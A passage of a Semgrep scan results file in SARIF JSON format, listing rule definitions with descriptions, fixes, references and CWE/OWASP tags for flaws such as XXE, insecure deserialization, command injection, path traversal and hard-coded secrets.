internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","id":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","name":"php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-xml-unsafe-parser-flags.laravel-xml-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","id":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","name":"python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pandas-hdf.tainted-pandas-hdf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","id":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","name":"csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xxe.xml-dtd-allowed.xml-dtd-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"help":{"markdown":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token)\n - [https://docs.djangoproject.com/en/4.2/howto/csrf/](https://docs.djangoproject.com/en/4.2/howto/csrf/)\n","text":"Manually-created forms in django templates should specify a csrf_token to prevent CSRF attacks."},"helpUri":"https://semgrep.dev/r/python.django.security.django-no-csrf-token.django-no-csrf-token","id":"python.django.security.django-no-csrf-token.django-no-csrf-token","name":"python.django.security.django-no-csrf-token.django-no-csrf-token","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.django-no-csrf-token.django-no-csrf-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"help":{"markdown":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n","text":"Detected manual creation of an ERB template. Manual creation of templates may expose your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks if user input is used to create the template. Instead, create a '.erb' template file and use 'render'."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","id":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","name":"ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.manual-template-creation.manual-template-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"help":{"markdown":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array](https://wiki.sei.cmu.edu/confluence/display/c/ARR01-C.+Do+not+apply+the+sizeof+operator+to+a+pointer+when+taking+the+size+of+an+array)\n","text":"Do not use `sizeof(this)` to get the number of bytes of the object in memory. It returns the size of the pointer, not the size of the object."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.sizeof-this.sizeof-this","id":"cpp.lang.correctness.sizeof-this.sizeof-this","name":"cpp.lang.correctness.sizeof-this.sizeof-this","properties":{"precision":"very-high","tags":["CWE-467: Use of sizeof() on a Pointer Type","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.sizeof-this.sizeof-this"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"help":{"markdown":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service)\n - [https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir](https://docs.docker.com/compose/compose-file/compose-file-v3/#domainname-hostname-ipc-mac_address-privileged-read_only-shm_size-stdin_open-tty-user-working_dir)\n - [https://blog.atomist.com/security-of-docker-kubernetes/](https://blog.atomist.com/security-of-docker-kubernetes/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-8-set-filesystem-and-volumes-to-read-only)\n","text":"Service '$SERVICE' is running with a writable root filesystem. This may allow malicious applications to download and run additional payloads, or modify container files. If an application inside a container has to save something temporarily consider using a tmpfs. Add 'read_only: true' to this service to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","id":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","name":"yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.writable-filesystem-service.writable-filesystem-service"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","id":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","name":"java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-auth-hardcoded-password.jedis-auth-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"help":{"markdown":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Detected possible user input going into a `path.join` or `path.resolve` function. This could possibly lead to a path traversal vulnerability,  where the attacker can access arbitrary files stored in the file system. Instead, be sure to sanitize or validate user input first."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","id":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","name":"javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.path-traversal.path-join-resolve-traversal.path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","id":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","name":"javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jose.security.jwt-hardcode.hardcoded-jwt-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-default.tainted-os-command-stdlib-aws-lambda-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"help":{"markdown":"blockhash(block.number) and blockhash(block.number + N) always returns 0.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash)\n - [https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)\n","text":"blockhash(block.number) and blockhash(block.number + N) always returns 0."},"helpUri":"https://semgrep.dev/r/solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","id":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","name":"solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash","properties":{"precision":"very-high","tags":["CWE-341: Predictable from Observable State","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.incorrect-use-of-blockhash.incorrect-use-of-blockhash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://docs.python.org/3/library/shelve.html](https://docs.python.org/3/library/shelve.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `shelve` module uses `pickle` and should not be used with data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-shelve-django.tainted-shelve-django","id":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","name":"python.django.deserialization.tainted-shelve-django.tainted-shelve-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-shelve-django.tainted-shelve-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","id":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","name":"java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.java-jwt.security.audit.jwt-decode-without-verify.java-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"help":{"markdown":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#unquoted-attributes)\n - [https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss](https://flask.palletsprojects.com/en/1.1.x/security/#cross-site-scripting-xss)\n","text":"Detected a unquoted template variable as an attribute. If unquoted, a malicious actor could inject custom JavaScript handlers. To fix this, add quotes around the template expression, like this: \"<%= expr %>\"."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","id":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","name":"ruby.rails.security.audit.xss.templates.unquoted-attribute.unquoted-attribute","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation 